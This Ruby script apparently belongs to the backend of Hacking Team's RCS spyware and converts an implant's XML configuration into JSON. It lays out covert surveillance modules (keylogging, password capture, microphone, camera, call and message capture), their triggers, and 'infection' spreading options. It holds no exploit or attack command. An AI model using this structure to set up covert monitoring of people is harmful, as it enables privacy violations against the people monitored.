hackedteam/rcs-db

View on GitHub
scripts/xml_to_json.rb

Summary

Maintainability
F
1 wk
Test Coverage
#! /usr/bin/env ruby

require 'json'
require 'optparse'
require 'pp'
require 'xmlsimple'

########################################################################################################

# compatibility function

def trace(level, message)
  puts message
end

########################################################################################################

    def parse_globals(items)
      globals = {}
      items.each_pair do |key, value|
        if key == 'quota'
          globals[:quota] = {:min => value.first['mindisk'].to_i*1024*1024, :max => value.first['maxlog'].to_i*1024*1024}
          globals[:wipe] = value.first['wipe'] == 'false' ? false : true
        end
        if key == 'template'
          globals[:type] = value.first['type']
        end
      end
      globals[:migrated] = true
      globals[:version] = 20111231
      globals[:nohide] = []
      globals[:advanced] = true

      return globals
    end

    def parse_events(items)
      events = []

      return events if items.nil?

      items.each do |item|
        e = {}
        e[:start] = item['action'].to_i unless item['action'].to_i == -1
        e[:enabled] = true
        #e[:repeat] = -1
        #e[:end] = -1
        (item.keys.delete_if {|x| x == 'action' or x == 'actiondesc'}).each do |ev|
          e[:event] = ev
          e[:desc] = ev
          params = item[ev].first
          e[:end] = params['endaction'].to_i unless params['endaction'].nil? or params['endaction'].to_i == -1
          case ev
            when 'process'
              e[:window] = params['window'] == 'false' ? false : true
              e[:focus] = params['focus'] == 'false' ? false : true
              e[:process] = params['content']
            when 'simchange', 'ac', 'standby', 'screensaver'
              # no parameters
            when 'connection'
              e.merge! params
              e['port'] = e['port'].to_i
            when 'connectivity'
              # rename to connection
              e[:event] = 'connection'
            when 'winevent'
              e.merge! params
              e['id'] = e['id'].to_i
            when 'battery'
              e[:min] = params['min'].to_i
              e[:max] = params['max'].to_i
            when 'call'
              e[:number] = params['number']
            when 'quota'
              e[:quota] = params['size'].to_i*1024*1024
            when 'location'
              e[:event] = 'position'
              e[:type] = params['type']
              e[:latitude] = params['latitude'].to_f unless params['latitude'].nil?
              e[:longitude] = params['longitude'].to_f unless params['longitude'].nil?
              e[:distance] = params['distance'].to_i unless params['distance'].nil?
              unless params['id'].nil?
                e[:id] = params['id'].to_i
                e[:id] = -1 if params['id'] == '*' or params['id'] == ''
              end
              unless params['country'].nil?
                e[:country] = params['country'].to_i
                e[:country] = -1 if params['country'] == '*' or params['country'] == ''
              end
              unless params['network'].nil?
                e[:network] = params['network'].to_i
                e[:network] = -1 if params['network'] == '*' or params['network'] == ''
              end
              unless params['area'].nil?
                e[:area] = params['area'].to_i
                e[:area] = -1 if params['area'] == '*' or params['area'] == ''
              end
            when 'sms'
              e[:number] = params['number']
              e[:text] = params['text']
            when 'timer'
              case params['type']
                when 'date'
                  e[:event] = 'date'
                  e[:datefrom] = params['content']
                when 'daily'
                  e[:event] = 'timer'
                  e[:subtype] = "daily"
                  e[:ts] = "%02d:%02d:%02d" % [params['hour'].first.to_i, params['minute'].first.to_i, params['second'].first.to_i]
                  e[:te] = "%02d:%02d:%02d" % [params['endhour'].first.to_i, params['endminute'].first.to_i, params['endsecond'].first.to_i]
                when 'loop'
                  e[:event] = 'timer'
                  e[:subtype] = "loop"
                  e[:ts] = "00:00:00"
                  e[:te] = "23:59:59"
                  e[:repeat] = e[:start]
                  e[:delay] = params['hour'].first.to_i * 3600 + params['minute'].first.to_i * 60 + params['second'].first.to_i
                  e.delete(:start)
                when 'after startup'
                  e[:event] = 'timer'
                  e[:subtype] = "startup"
                  e[:ts] = "00:00:00"
                  e[:te] = "23:59:59"
                  e[:repeat] = e[:start]
                  e[:iter] = 1
                  e[:delay] = params['hour'].first.to_i * 3600 + params['minute'].first.to_i * 60 + params['second'].first.to_i
                  e.delete(:start)
                when 'after install'
                  e[:event] = 'afterinst'
                  e[:days] = params['day'].first.to_i
              end
            else
              raise 'unknown event: ' + ev
          end
        end
        events << e
      end

      return events
    end

    def parse_actions(items)
      actions = []

      return actions if items.nil?

      items.each do |item|
        a = {}
        a[:desc] = item['description']
        a[:subactions] = []
        # each subaction
        (item.keys.delete_if {|x| x == 'number' or x == 'description'}).each do |sub|
          item[sub].each do |s|

            subaction = {:action => sub}

            case sub
              when 'synchronize'
                subaction[:stop] = false
                # bluetooth does not exist anymore
                next if s['type'] == 'bluetooth'
                subaction.merge! s
                subaction.delete('type')
                subaction.delete('gprs')
                subaction['wifi'] = false unless s.has_key?('wifi')
                subaction['wifi'] = s['wifi'] == 'true' ? true : false
                subaction['cell'] = s['gprs'] == 'true' ? true : false
                if s.has_key?('apn')
                  subaction['cell'] = true
                  subaction['apn'] = subaction['apn'].first
                end
                subaction['bandwidth'] = subaction['bandwidth'].to_i * 1024 unless subaction['bandwidth'].nil?
                subaction['mindelay'] = subaction['mindelay'].to_i unless subaction['mindelay'].nil?
                subaction['maxdelay'] = subaction['maxdelay'].to_i unless subaction['maxdelay'].nil?
              when 'sms'
                subaction.merge! s
              when 'log'
                subaction[:text] = s
              when 'execute'
                subaction[:command] = s
              when 'uninstall'
                # no parameters
              when 'agent'
                subaction[:action] = 'module'
                subaction[:status] = s['action']
                subaction[:module] = s['name']
                subaction[:module] = 'screenshot' if subaction[:module] == 'snapshot'
              else
                raise "unknown subaction: " + sub
            end
            a[:subactions] << subaction
          end
        end
        actions << a
      end

      return actions
    end

    def parse_agents(items)
      modules = []

      return modules if items.nil?

      items.each do |item|
        a = {}
        a[:module] = (item.keys.delete_if {|x| x == 'enabled'}).first
        a[:enabled] = item['enabled'] == 'false' ? false : true
        case a[:module]
          when 'application', 'chat', 'clipboard', 'device', 'keylog', 'password', 'url'
            # no parameters
          when 'calllist'
            # don't migrate the callist agent since it will be merged with the call agent
            next
          when 'call'
            a.merge! item[a[:module]].first
            a['buffer'] = a['buffer'].to_i * 1024
            a['compression'] = a['compression'].to_i
            a['record'] = true
          when 'camera'
            a.merge! item[a[:module]].first
            a['quality'] = 'med'
            a[:_ena] = a[:enabled]
          when 'conference', 'livemic'
            a.merge! item[a[:module]].first
          when 'print'
            a.merge! item[a[:module]].first
            a.delete('scale')
            a['quality'] = 'med'
          when 'mouse'
            a.merge! item[a[:module]].first
            a['width'] = a['width'].to_i
            a['height'] = a['height'].to_i
          when 'snapshot'
            a.merge! item[a[:module]].first
            a['onlywindow'] = a['onlywindow'] == 'true' ? true : false
            a['quality'] = 'med'
            a[:_ena] = a[:enabled]
            a[:module] = 'screenshot'
          when 'mic'
            a.merge! item[a[:module]].first
            a['autosense'] = a['autosense'] == 'true' ? true : false
            a['vad'] = a['vad'] == 'true' ? true : false
            a['silence'] = a['silence'].to_i
            a['vadthreshold'] = a['vadthreshold'].to_i
            a['threshold'] = a['threshold'].to_f
          when 'position'
            a.merge! item[a[:module]].first
            a['gps'] = a['gps'] == 'true' ? true : false
            a['wifi'] = a['wifi'] == 'true' ? true : false
            a['cell'] = a['cell'] == 'true' ? true : false
            a[:_ena] = a[:enabled]
          when 'crisis'
            t = item[a[:module]].first
            a[:network] = {:enabled => t['network'].first['enabled'] == 'false' ? false : true,
                           :processes => t['network'].first['process']} unless t['network'].nil?
            a[:hook] = {:enabled => t['hook'].first['enabled'] == 'false' ? false : true,
                        :processes => t['hook'].first['process']} unless t['hook'].nil?
            a[:synchronize] = t['synchronize'] == 'false' ? false : true unless t['synchronize'].nil?
            a[:call] = t['call'] == 'false' ? false : true unless t['call'].nil?
            a[:mic] = t['mic'] == 'false' ? false : true unless t['mic'].nil?
            a[:camera] = t['camera'] == 'false' ? false : true unless t['camera'].nil?
            a[:position] = t['position'] == 'false' ? false : true unless t['position'].nil?
          when 'infection'
            t = item[a[:module]].first
            a[:local] = t['local'] == 'false' ? false : true
            a[:usb] = t['usb'] == 'false' ? false : true
            a[:vm] = t['vm'].to_i
            # false by default on purpose
            a[:mobile] = false
          when 'file'
            a.merge! item[a[:module]].first
            a['accept'] = a['accept'].first['mask'] unless a['accept'].nil?
            a['deny'] = a['deny'].first['mask'] unless a['deny'].nil?
            a['open'] = a['open'] == 'true' ? true : false
            a['capture'] = a['capture'] == 'true' ? true : false
            a['minsize'] = a['minsize'].to_i unless a['minsize'].nil?
            a['maxsize'] = a['maxsize'].to_i unless a['maxsize'].nil?
          when 'messages'
            item[a[:module]].each do |mes|
              a.merge! mes
            end
            unless a['sms'].nil?
              a['sms'] = a['sms'].first
              a['sms']['enabled'] = a['sms']['enabled'] == 'true' ? true : false
              a['sms']['filter'] = a['sms']['filter'].first
              a['sms']['filter']['history'] = a['sms']['filter']['history'] == 'true' ? true : false
            end
            unless a['mms'].nil?
              a['mms'] = a['mms'].first
              a['mms']['enabled'] = a['mms']['enabled'] == 'true' ? true : false
              a['mms']['filter'] = a['mms']['filter'].first
              a['mms']['filter']['history'] = a['mms']['filter']['history'] == 'true' ? true : false
            end
            unless a['mail'].nil?
              a['mail'] = a['mail'].first
              a['mail']['enabled'] = a['mail']['enabled'] == 'true' ? true : false
              a['mail']['filter'] = a['mail']['filter'].first
              a['mail']['filter']['history'] = a['mail']['filter']['history'] == 'true' ? true : false
              a['mail']['filter']['maxsize'] = a['mail']['filter']['maxsize'].to_i * 1024 unless a['mail']['filter']['maxsize'].nil?
            end

          when 'organizer'
            # we need to split this agent in two
            a[:module] = 'addressbook'
            modules << a.dup
            a[:module] = 'calendar'
          else
            raise "unknown agent: " + a[:module]
        end
        modules << a
      end

      return modules
    end

    def agents_on_startup(modules, actions, events)

      subactions = []

      modules.each do |m|
        if m[:enabled] and not ['screenshot', 'camera', 'position'].include? m[:module]
          subactions << {:action => 'module', :status => 'start', :module => m[:module]}
        end
        m.delete(:enabled)
      end

      return if subactions.empty?

      start_action = {:desc => 'STARTUP', :_mig => true, :subactions => subactions}

      actions << start_action

      event = {:event => 'timer', :desc => 'On Startup', :enabled => true,
               :ts => '00:00:00', :te => '23:59:59', :subtype => 'startup',
               :start => actions.size - 1}

      events << event
    end

    def agents_with_repetition(modules, actions, events)
      modules.each do |m|
        if m.has_key?('interval')
          action = {:desc => "#{m[:module]} iteration", :_mig => true, :subactions => [{:action => 'module', :status => 'start', :module => m[:module]}] }
          actions << action
          event = {:event => 'timer', :_mig => true, :desc => "#{m[:module]} loop", :subtype => 'loop', :enabled => m[:_ena],
                   :ts => '00:00:00', :te => '23:59:59',
                   :repeat => actions.size - 1, :delay => m['interval'].to_i}
          m.delete(:_ena)
          if m.has_key?('iterations')
            event[:iter] = m['iterations'].to_i
            m.delete('iterations')
          end
          events << event
          m.delete('interval')
          if m[:module] == 'screenshot'
            if m['newwindow'] == 'true'
              event = {:event => 'window', :desc => "new win #{m[:module]}", :enabled => true, :start => actions.size - 1}
              events << event
            end
            m.delete('newwindow')
          end
        end
      end
    end

    def actions_with_start_stop(modules, actions, events)
      actions.each do |a|
        # skip actions created during migration
        next if a[:_mig]
        # search for start action for camera, screenshot and position
        # and transform the start/stop action into an enable/disable event
        a[:subactions].each do |s|
          if s[:action] == 'module' and ['camera','screenshot', 'position'].include? s[:module]
            s[:action] = 'event'
            s[:event] = events.index {|e| e[:desc] == "#{s[:module]} loop" and e[:_mig] }
            s[:status] = s[:status] == 'start' ? 'enabled' : 'disabled'
            s.delete :module
          end
        end
      end
    end

    def xml_to_json(content)

      modules = []
      actions = []
      events = []
      globals = {}

      begin
        xml_config = XmlSimple.xml_in(content)

        xml_config.each do |section|
          case section[0]
            when 'globals'
              globals = parse_globals(section[1].first)
            when 'events'
              events = parse_events(section[1].first['event'])
            when 'actions'
              actions = parse_actions(section[1].first['action'])
            when 'agents'
              modules = parse_agents(section[1].first['agent'])
          end
        end
      rescue Exception => e
        trace :warn, "Invalid config parsing: " + e.message
        trace :fatal, "EXCEPTION: " + e.backtrace.join("\n")
      end

      agents_on_startup(modules, actions, events)
      agents_with_repetition(modules, actions, events)
      actions_with_start_stop(modules, actions, events)

      config = {'modules' => modules, 'actions' => actions, 'events' => events, 'globals' => globals}

      return config.to_json
    end


#########################################################################

# This hash will hold all of the options parsed from the command-line by OptionParser.
options = {}

optparse = OptionParser.new do |opts|
  # Set a banner, displayed at the top of the help screen.
  opts.banner = "Usage: xml_to_json [options]"

  opts.separator ""
  opts.on( '-x', '--xml FILE', String, 'INPUT xml file' ) do |file|
    options[:xml] = file
  end
  opts.on( '-j', '--json FILE', String, 'OUTPUT json file' ) do |file|
    options[:json] = file
  end
  opts.separator ""
  opts.on( '-v', '--verbose', 'verbose mode' ) do
    options[:verbose] = true
  end
  opts.on( '-h', '--help', 'Display this screen' ) do
    puts opts
    exit
  end
end

optparse.parse(ARGV)

content = ''

File.open(options[:xml], 'rb') { |f| content = f.read }

json_config = xml_to_json(content)
config = JSON.parse(json_config)

if options[:verbose]
  puts "JSON CONFIG: "
  pp config
end

if options[:json]
  File.open(options[:json], 'wb+') { |f| f.write json_config }
  puts "\nJSON CONFIG SIZE: #{json_config.size}"
end


#bconfig.to_a.each do |c|
#  print "%02X" % c
#end